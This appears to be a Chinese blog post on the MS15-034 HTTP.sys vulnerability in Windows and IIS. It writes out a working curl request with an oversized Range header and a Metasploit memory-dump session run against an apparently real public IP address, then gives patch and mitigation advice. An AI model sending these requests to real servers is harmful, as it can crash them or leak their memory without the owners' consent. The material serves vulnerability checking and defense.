1.HTTP.SYS遠程代碼執行漏洞簡介
首先漏洞編號:CVE-2015-1635(MS15-034 )
遠程執行代碼漏洞存在於 HTTP 協議堆棧 (HTTP.sys) 中,當 HTTP.sys 未正確分析經特殊設計的 HTTP 請求時會導致此漏洞。 成功利用此漏洞的攻擊者可以在系統帳戶的上下文中執行任意代碼。
利用HTTP.sys的安全漏洞,攻擊者只需要發送惡意的http請求數據包,就可能遠程讀取IIS服務器的內存數據,或使服務器系統藍屏崩潰。
主要影響了包括Windows 7、Windows Server 2008 R2、Windows 8、Windows Server 2012、Windows 8.1 和 Windows Server 2012 R2在內的主流服務器操作系統。
2.漏洞分析:
https://mp.weixin.qq.com/s/ZdRu_smJ0IW-dVVb9YB6UQ
3.漏洞驗證:
3-1通過curl命令實現
curl -v IP -H "Host:irrelevant" -H "Range: bytes=0-18446744073709551615"
3-2 使用MSF中palyload進行測試
msf > use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
msf auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > set rhosts 218.94.138.251
rhosts => 218.94.138.251
msf auxiliary(scanner/http/ms15_034_http_sys_memory_dump) > run
[+] Target may be vulnerable... #驗證存在
[+] Stand by...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
如果服務器打上了補丁,那么響應狀態應該是:
- HTTP Error 400. The request has an invalid header name.
如果服務器存在HTTP.SYS遠程代碼執行漏洞,那么響應狀態應該是:
- HTTP/1.1 416 Requested Range Not Satisfiable
4.漏洞防御
官方補丁下載:https://support.microsoft.com/zh-cn/kb/3042553
臨時解決辦法:
* 禁用IIS內核緩存
參考文章:
http://www.tiaozhanziwo.com/archives/765.html
https://www.greatidc.com/news/189.html